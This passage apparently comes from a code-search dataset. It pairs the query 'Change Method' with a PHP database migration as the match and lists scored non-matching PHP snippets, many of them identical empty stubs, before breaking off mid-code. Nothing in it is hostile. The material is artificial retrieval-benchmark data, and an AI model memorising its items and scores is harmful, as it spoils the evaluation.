store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
8674abf3ffe1ceec18aca020936b5de7
Change Method. More information on this method is available here:
[ { "docid": "7c3d5b8a27af6c64047b3873218fb84a", "score": "0.0", "text": "public function change()\n {\n $table = $this->table('revistas');\n $table->addColumn('nombre', 'string', [\n 'default' => null,\n 'limit' => 50,\n 'null' => true\n ]);\n $table->addColumn('numero', 'integer', [\n 'default' => null,\n 'null' => true\n ]);\n $table->addColumn('mes', 'integer', [\n 'default' => null,\n 'null' => true\n ]);\n $table->addColumn('anio', 'string', [\n 'default' => null,\n 'limit' => 10,\n 'null' => true\n ]);\n $table->addColumn('comentario', 'string', [\n 'default' => null,\n 'limit' => 255,\n 'null' => true\n ]);\n $table->addColumn('created', 'datetime', [\n 'default' => null,\n 'null' => false,\n ]);\n $table->addColumn('modified', 'datetime', [\n 'default' => null,\n 'null' => false,\n ]);\n\n $table->create();\n\n $current_timestamp = Carbon::now();\n // Inserta artículos de la base de datos antigua\n $this->execute('insert into revistas (id, nombre, numero, mes, anio, comentario, created, modified) select id, rNombreRevista, rNumeroRevista, rMesRevista, rAnioRevista, rComentario, \"' . $current_timestamp . '\", \"' . $current_timestamp . '\" from old_revistas');\n }", "title": "" } ]
[ { "docid": "e08458484ef1196e6800a00ab889ff90", "score": "0.71457434", "text": "public function changed(){\n $this->_changed = true;\n }", "title": "" }, { "docid": "5e0d1b011f95d87028369ec6c3fd1b77", "score": "0.69382113", "text": "public function change()\n {\n $map = [\n 'navbar_bgcolor'=>'color_navbar',\n 'navbar_fontcolor'=>'color_navtext',\n 'color_primary_color'=>'color_primary_color',\n 'footer_bgcolor'=>'color_footer',\n 'footer_credits_bgcolor'=>'color_footer',\n 'footer_textcolor'=>'color_footertext',\n 'footer_credits_bgcolor'=>'color_footer',\n 'footer_credits_textcolor'=>'color_footertext',\n 'footer_newsletter_code'=>'',\n 'footer_tel'=>'footer_tel',\n 'footer_email'=>'footer_email',\n 'footer_address'=>'footer_address',\n 'footer_website'=>'footer_website',\n 'footer_about'=>'footer_about',\n 'color_page_title'=>'color_page_title',\n 'color_page_title_text'=>'color_page_title_text',\n 'topbar_instagram'=>'social_instagram',\n 'topbar_google'=>'social_google',\n 'topbar_twitter'=>'social_twitter',\n 'topbar_facebook'=>'social_facebook',\n 'topbar_bgcolor'=>'color_primary_color',\n\n ];\n\n foreach($map as $key=>$value){\n $this->setOptionValue($key,$this->getOptionValue($value,1));\n }\n $this->execute('update template set active=0');\n $this->execute('update template set active=1 where template_id=2');\n\n }", "title": "" }, { "docid": "f0557fe3828b9f99867ce661d2aae160", "score": "0.68296546", "text": "public function changeStatus()\n {\n }", "title": "" }, { "docid": "f0557fe3828b9f99867ce661d2aae160", "score": "0.68296546", "text": "public function changeStatus()\n {\n }", "title": "" }, { "docid": "099c245f867d3d345e5641f0a835d0e2", "score": "0.68281364", "text": "public function setChanged()\n\t\t{\n\t\t\t$this->_changed = TRUE;\n\t\t}", "title": "" }, { "docid": "71783833314db4014bace327396fb74c", "score": "0.672943", "text": "public function change( array $args = [], array $assoc_args = [] ): void {\n\t\t$this->ensure_asmp_is_available();\n\n\t\t$apiInstance = new ChangeApi( new Client(), $this->config );\n\t\t$body = new ChangeRequest();\n\n\t\ttry {\n\t\t\t$response = $apiInstance->change( $body );\n\t\t\tprint_r( $response );\n\t\t} catch ( Throwable $exception ) {\n\t\t\tWP_CLI::error( \"Exception when calling ChangeApi->change: {$exception->getMessage()}\" );\n\t\t}\n\t}", "title": "" }, { "docid": "84fbf4e9c40f07a6c2af01da104434e1", "score": "0.6723572", "text": "public static function change($id)\n {\n }", "title": "" }, { "docid": "83a1a8f87f22576b3b30eb4e7827a406", "score": "0.67195576", "text": "public function Modify()\r\n {\r\n }", "title": "" }, { "docid": "e75d9f880aa15126cd59ae3752b32526", "score": "0.6706311", "text": "public function change()\n {\n $this->execute(\"UPDATE setting set setting.key='menu_show_courses',label='Show Online Courses' WHERE setting_id=34\");\n $this->execute(\"UPDATE setting set setting.key='menu_show_sessions',label='Show Upcoming Sessions' WHERE setting_id=35\");\n $this->execute(\"UPDATE setting set label='Show Certificates' WHERE setting_id=80\");\n\n $data = [\n 'key'=>'menu_show_homework',\n 'label'=>'Show Homework',\n 'type'=>'radio',\n 'value'=>'1',\n 'options'=>'1=Yes,0=No',\n ];\n $this->insert('setting',$data);\n\n }", "title": "" }, { "docid": "1455e65ea5fd086c45917bc1bb009cb7", "score": "0.6669206", "text": "public function onchange()\n {\n }", "title": "" }, { "docid": "589786d8c5d93d6e3d0c1857a7a9db18", "score": "0.6669056", "text": "public function change()\n {\n // add column avatar and introduction\n $table = $this->table('users');\n $table->addColumn('avatar', 'string', ['comment'=>'用户头像路径', 'null'=>true])\n ->addColumn('introduction', 'string', ['comment'=>'用户简介', 'null'=>true])\n ->update();\n }", "title": "" }, { "docid": "cbeb7f3489f87796c35c9afc64784e80", "score": "0.659427", "text": "public function change()\n\t\t\t\t{\n\t\t\t\t\t\t\t\t$storage = $this->table('storage', array(\"engine\" => \"TokuDB\"));\n\t\t\t\t\t\t\t\t$storage\n\t\t\t\t\t\t\t\t\t->addColumn('key', 'string', array('limit' => 255))\n\t\t\t\t\t\t\t\t\t->addColumn('value', 'string', array('limit' => 255))\n\t\t\t\t\t\t\t\t\t->addIndex(array('key'), array('unique' => true))\n\t\t\t\t\t\t\t\t\t->save();\n\t\t\t\t}", "title": "" }, { "docid": "fdc4bf9d41271cdebc282e0ff65a4d89", "score": "0.657569", "text": "public function change(): void\n {\n $table_name = \\ByTIC\\NotifierBuilder\\Utility\\NotifierBuilderModels::events()->getTable();\n $exists = $this->hasTable($table_name);\n if ($exists) {\n return;\n }\n $table = $this->table($table_name);\n $table\n ->addColumn('id_topic', 'integer')\n ->addColumn('id_email', 'biginteger')\n ->addColumn('id_item', 'biginteger')\n ->addColumn('status', 'enum', ['values' => ['pending', 'skipped', 'sent']])\n ->addColumn('modified', 'timestamp', [\n 'default' => 'CURRENT_TIMESTAMP',\n 'update' => 'CURRENT_TIMESTAMP',\n ])\n ->addColumn('created', 'timestamp', [\n 'default' => 'CURRENT_TIMESTAMP',\n ]);\n\n $table->addIndex(['id_topic']);\n $table->addIndex(['id_email']);\n $table->addIndex(['id_item']);\n $table->addIndex(['status']);\n $table->addIndex(['modified']);\n $table->addIndex(['created']);\n\n $table->save();\n }", "title": "" }, { "docid": "6e3e51d79beaab98d02ac7e06997ee9c", "score": "0.6534983", "text": "public function actionChange()\n {\n \\Yii::$app->response->format = \\yii\\web\\Response::FORMAT_JSON;\n $object_type = FHtml::getRequestParam('object');\n $object_id = FHtml::getRequestParam('id');\n $field = FHtml::getRequestParam('field');\n $value = FHtml::getRequestParam('data');\n\n $model = FHtml::getModel($object_type, '', $object_id, null, false);\n if (!isset($model))\n return 'Error ! Object [' . $object_type . '] does not exist. ';\n\n if (!FHtml::field_exists($model, $field))\n return 'Error ! Field name [' . $field . '] does not exist. ';\n\n if (isset($model) && FHtml::field_exists($model, $field)) {\n FHtml::setFieldValue($model, $field, $value);\n if ($model->save())\n return '';\n else\n return 'Error saving ' . $object_type . ': ' . implode('<br/>', $model->errors);\n } else {\n return 'Error saving ' . $object_type . ', field: ' . $field . ', value: ' . $value;\n }\n }", "title": "" }, { "docid": "5f8b74f62efa85f57d9a22c885143d6b", "score": "0.6528943", "text": "public function change()\n {\n $table = $this->table('chunks');\n $table->addColumn('chunk_category_id', 'integer', [\n 'limit' => 10,\n 'null' => false,\n 'after' => 'refined_chunk_id',\n 'signed' => false,\n 'comment' => 'chunk_categories のプライマリキー'\n ]);\n $table->addColumn('component_tier_id', 'integer', [\n 'limit' => 10,\n 'null' => false,\n 'after' => 'chunk_rarity_id',\n 'signed' => false,\n 'comment' => 'component_tiers のプライマリキー'\n ]);\n $table->update();\n }", "title": "" }, { "docid": "3b9d68f26bf21a043f1f0d6944d46672", "score": "0.65174377", "text": "public function changed(string $key){}", "title": "" }, { "docid": "6e58cab2bbe6eeb3c545b075695d4a8a", "score": "0.6507223", "text": "public function change()\n {\n $product_seller_data_table = $this->table('product_seller_data');\n $products = $this->table('products');\n\n $product_seller_data_table->changeColumn('price', 'decimal', [\n 'precision'=>'10',\n 'scale'=>'1',\n 'default' => NULL,\n 'null' => true\n ]);\n\n $product_seller_data_table->changeColumn('buy_box', 'boolean', [\n 'default' => NULL,\n 'null' => true\n ]);\n\n $product_seller_data_table->changeColumn('delivery', 'string', [\n 'default' => NULL,\n 'null' => true,\n 'limit' => 32,\n ]);\n\n $product_seller_data_table->update();\n $product_seller_data_table->removeColumn('active')->save();\n $product_seller_data_table->removeColumn('stockouts')->save();\n $product_seller_data_table->removeColumn('buy_box_ownership')->save();\n $product_seller_data_table->removeColumn('rating')->save();\n $product_seller_data_table->removeColumn('rating_count')->save();\n $product_seller_data_table->removeColumn('condition')->save();\n\n $products->changeColumn('first_crawl_succeeded', 'boolean', [\n 'default' => NULL,\n 'null' => true\n ]);\n\n $products->removeColumn('crawl_status')->save();\n $products->removeColumn('dirty')->save();\n }", "title": "" }, { "docid": "0785f217c75961c7746b553d293002e7", "score": "0.64815557", "text": "function change($shipCode){\n \n }", "title": "" }, { "docid": "24c861c388fd7a7606f0cd540bacc72c", "score": "0.6471095", "text": "public function change()\n {\n $table = $this->table('users');\n $table->changeColumn('created', 'datetime', [\n 'default' => '1971-01-01 00:00:00'\n ]);\n $table->changeColumn('modified', 'datetime', [\n 'default' => '1971-01-01 00:00:00'\n ]);\n $table->save();\n }", "title": "" }, { "docid": "e0ef0094210891d37b7c412fde95d012", "score": "0.6450514", "text": "public function getUserChange();", "title": "" }, { "docid": "daa0a7fe66ad01ee8d15a188d10aceff", "score": "0.64389604", "text": "public function update()\n\t{\n\n\t}", "title": "" }, { "docid": "d5425ee6c87d3d42c24720c77b217bbe", "score": "0.64347583", "text": "public function change()\n {\n $query = <<<'SQL'\n update\n modules.nota_componente_curricular_media\t\n set\n situacao = matricula.aprovado\n from\n modules.nota_aluno,\n pmieducar.matricula\n where true\n and nota_componente_curricular_media.nota_aluno_id = nota_aluno.id\n and nota_aluno.matricula_id = matricula.cod_matricula\n and matricula.aprovado in (4, 5, 6, 15)\n and nota_componente_curricular_media.situacao not in (4, 5, 6, 15)\nSQL;\n\n $this->execute($query);\n\n $query = <<<'SQL'\n update\n nota_componente_curricular_media\n set\n situacao = matricula.aprovado\n from\n modules.nota_aluno,\n pmieducar.matricula\n where true\n and nota_aluno.id = nota_componente_curricular_media.nota_aluno_id\n and nota_aluno.matricula_id = matricula.cod_matricula\n and nota_componente_curricular_media.situacao is null;\nSQL;\n\n $this->execute($query);\n }", "title": "" }, { "docid": "2ef9c9b02a93b216bf7ea35a174c95ee", "score": "0.6425255", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "8f0bf817f24c46017e7fa5755dd01164", "score": "0.6406009", "text": "public function change()\n {\n $config = $this->table('form_configurations');\n $config->addColumn('name', 'string', array('limit' => 45))\n ->addColumn('label', 'text', array())\n ->addColumn('placeholder', 'text', array())\n ->addColumn('tooltip', 'text', array())\n ->addColumn('tooltip_active', 'integer', array('default'=>0))\n ->addColumn('input_filter', 'string', array('limit' => 75))\n ->addColumn('input_type', 'string', array('limit' => 25))\n ->addColumn('data_method', 'string', array('limit' => 65, 'default'=>null))\n ->addColumn('created_at', 'timestamp', array())\n ->addColumn('updated_at', 'timestamp', array())\n ->save();\n }", "title": "" }, { "docid": "c48b4afbc7b593e2b97bdbbede70889f", "score": "0.6402995", "text": "public function change()\n {\n // create the table\n $table = $this->table('users', array('id' => false, 'primary_key' => 'id'));\n $table->addColumn('id', 'integer', array('identity' => true))\n ->addColumn('first_name', 'string')\n ->addColumn('last_name', 'string')\n ->addColumn('mobile', 'string')\n ->addColumn('email', 'string')\n ->addColumn('unit', 'string', array('null' => true))\n ->addColumn('birth_date', 'date', array('null' => true))\n ->addColumn('about_me', 'string', array('null' => true))\n ->addColumn('experience', 'string', array('null' => true))\n ->addColumn('external_web_site', 'string', array('null' => true))\n ->addColumn('created_at', 'timestamp');\n\n $table->addIndex(array('mobile'), array('unique' => true));\n $table->create();\n\n }", "title": "" }, { "docid": "f7074bf9419276787f006707206fa7f4", "score": "0.6385496", "text": "public function update()\n {\n\n }", "title": "" }, { "docid": "29dac3a7e4281bffb0bdf72c2a18c733", "score": "0.6373849", "text": "public function update()\r\n {\r\n }", "title": "" }, { "docid": "8f0673d14bb4c5bdfd36e3ffca2ccb05", "score": "0.6372747", "text": "public function change(): void\n {\n $table = $this->table(\"processmovement\");\n $table->addColumn('processid','integer',['null' => false])\n ->addColumn('officeid','integer',['null' => false])\n ->addColumn('attorneyid','integer',['null' => false])\n ->addColumn('userid','integer',['null' => false])\n ->addColumn('links','text',['null' => true])\n ->addColumn('stageprocess','string',['null' => true])\n ->addColumn('comment','text',['null' => true])\n ->addColumn('created_at', 'timestamp', [\n 'timezone' => true,\n 'default' => Literal::from('now()')\n ])\n ->addColumn('updated_at', 'timestamp', [\n 'timezone' => true,\n 'default' => Literal::from('now()')\n ])\n ->addForeignKey('processid', 'process', 'id')\n ->addForeignKey('officeid', 'company', 'id')\n ->addForeignKey('attorneyid', 'attorney', 'id')\n ->addForeignKey('userid', 'users', 'id')\n ->create();\n }", "title": "" }, { "docid": "875a5b672c174d780a08ec6a12175f93", "score": "0.6359876", "text": "public function change()\n {\n $table = $this->table('tb_enter_team_member');\n $table->addColumn('name', 'string', array('limit' => 30, 'default' => '', 'comment' => '姓名'))\n ->addColumn('position', 'string', array('limit' => 20, 'comment' => '职务'))\n ->addColumn('signature', 'string', array('limit' => 100, 'default' => '', 'comment' => '签名'))\n ->addColumn('achievement', 'text', array('limit' => 0, 'comment' => '主要成就'))\n ->addColumn('resume', 'text', array('limit' => 0, 'comment' => '个人履历'))\n ->addColumn('picture', 'string', array('limit' => 80, 'default' => '', 'comment' => '形象图'))\n ->addColumn('enter_team_id', 'integer', array('limit' => 11, 'comment' => '入驻团队id'))\n ->addTimestamps()\n ->create();\n }", "title": "" }, { "docid": "10135ea99d0a0fab14f2ae0ed064d52b", "score": "0.6358428", "text": "public function change()\n {\n $table = $this->table('units');\n $table\n ->addColumn('description', 'text', [\n 'after' => 'name'\n ])\n ->addColumn('image', 'string', [\n 'after' => 'trust_master_reward',\n 'null' => true\n ])\n ->addColumn('image_dir', 'string', [\n 'after' => 'image',\n 'null' => true\n ])\n ->save();\n\n $table = $this->table('acquires');\n $table\n ->addColumn('trust', 'float', [\n 'after' => 'rarity_id',\n 'default' => 0\n ])\n ->save();\n }", "title": "" }, { "docid": "46b06fadefcf04caadc6a7461ec7cdf3", "score": "0.6314023", "text": "public function change()\n {\n $post = new PostBag();\n if ($post->has('block')) {\n $permission = new Permission();\n if ($permission->blockAdminRights($this->mysql())) {\n $this->successMessage('Изменения сохранены');\n } else {\n $this->infoMessage('Укажите маршруты');\n }\n } else if ($post->has('clear')) {\n $permission = new Permission();\n if ($permission->clearAdminRights($this->mysql())) {\n $this->successMessage('Изменения сохранены');\n } else {\n $this->infoMessage('Укажите маршруты');\n }\n } else {\n $permission = new Permission();\n if ($permission->unblockAdminRights($this->mysql())) {\n $this->successMessage('Изменения сохранены');\n } else {\n $this->infoMessage('Укажите маршруты');\n }\n }\n $this->setRedirect();\n }", "title": "" }, { "docid": "1c99e06c23f4d20fed41a8ba3d6c35a5", "score": "0.6289369", "text": "public function update()\n {\n\n }", "title": "" }, { "docid": "1c99e06c23f4d20fed41a8ba3d6c35a5", "score": "0.6289369", "text": "public function update()\n {\n\n }", "title": "" }, { "docid": "b7015b61298840518e30c8338251f1dd", "score": "0.6283207", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "b7015b61298840518e30c8338251f1dd", "score": "0.6283207", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "b7015b61298840518e30c8338251f1dd", "score": "0.6283207", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "b7015b61298840518e30c8338251f1dd", "score": "0.6283207", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "b7015b61298840518e30c8338251f1dd", "score": "0.6283207", "text": "public function update()\n {\n \n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "3ddbebab543d43b77972e33d0c26def2", "score": "0.6276638", "text": "public function update()\n {\n }", "title": "" }, { "docid": "86c46730b2ac4e26bd15ed5cba938a0a", "score": "0.62677747", "text": "public function update()\n {\n //\n }", "title": "" }, { "docid": "86c46730b2ac4e26bd15ed5cba938a0a", "score": "0.62677747", "text": "public function update()\n {\n //\n }", "title": "" }, { "docid": "86c46730b2ac4e26bd15ed5cba938a0a", "score": "0.62677747", "text": "public function update()\n {\n //\n }", "title": "" }, { "docid": "e536be7ef038e1442ba6b4d0059b7063", "score": "0.6267304", "text": "public function change()\n {\n \n $table = $this->table(\"comp_currency_management\");\n\n $table->addColumn(\"name\", \"string\", array(\"comment\"=>\"货币名称\", \"length\"=>30) )\n ->addColumn(\"abbreviation\", \"string\", array(\"comment\"=>\"货币简称\", \"null\"=>true, \"length\"=>10) )\n ->addColumn(\"front_symbol\", \"string\", array(\"comment\"=>\"前置符号\", \"length\"=>5) )\n ->addColumn(\"back_symbol\", \"string\", array(\"comment\"=>\"后置符号\", \"null\"=>true, \"length\"=>5) )\n ->addColumn('is_deleted','integer', array('limit'=>Phinx\\Db\\Adapter\\MysqlAdapter::INT_TINY ,'default'=>0,'null'=>true, 'comment'=>'是否被删除', \"signed\"=>false) )\n ->addColumn('create_time','integer',array('null'=>true, 'comment'=>'创建时间'))\n ->addColumn('update_time','integer',array('null'=>true, 'comment'=>'更新时间'))\n ->save();\n\n }", "title": "" }, { "docid": "f4e1646d7495f2f00e9bcde80f989181", "score": "0.6258122", "text": "public function changeAction()\n {\n $this->view->disable();//stop the page update\n\n $id = $this->request->getPost(\"id\");\n $act = $this->request->getPost(\"act\");\n $task = Task::findFirst($id);\n $task->Action = $act;\n $task->update();\n\n }", "title": "" }, { "docid": "5ed36de8352b3038b32270e57b1072c4", "score": "0.6242898", "text": "static function alter() {\n }", "title": "" }, { "docid": "d9030fc3d4559f4038ee75e7fcdb665e", "score": "0.6223944", "text": "public function update()\n {\n // \n }", "title": "" }, { "docid": "a22872f98fc531652bf06d232a7f9506", "score": "0.62169707", "text": "public function change()\n {\n $roles_table = \\Cake\\ORM\\TableRegistry::get('land_statuses');\n $roles = [\n 'pending_approval' => 'Pending Approval',\n 'approved_and_activated' => 'Approved and Activated',\n 'approved_and_deactivated' => 'Approved and Deactivated',\n 'rejected' => 'Rejected',\n 'drafted' => 'Drafted',\n 'request_cancelled' => 'Request cancelled',\n ];\n\n $entities = [];\n\n foreach ($roles as $key => $value) {\n $entities[] = [\n 'name' => $key,\n 'display_name' => $value,\n ];\n }\n\n $entities_objs = 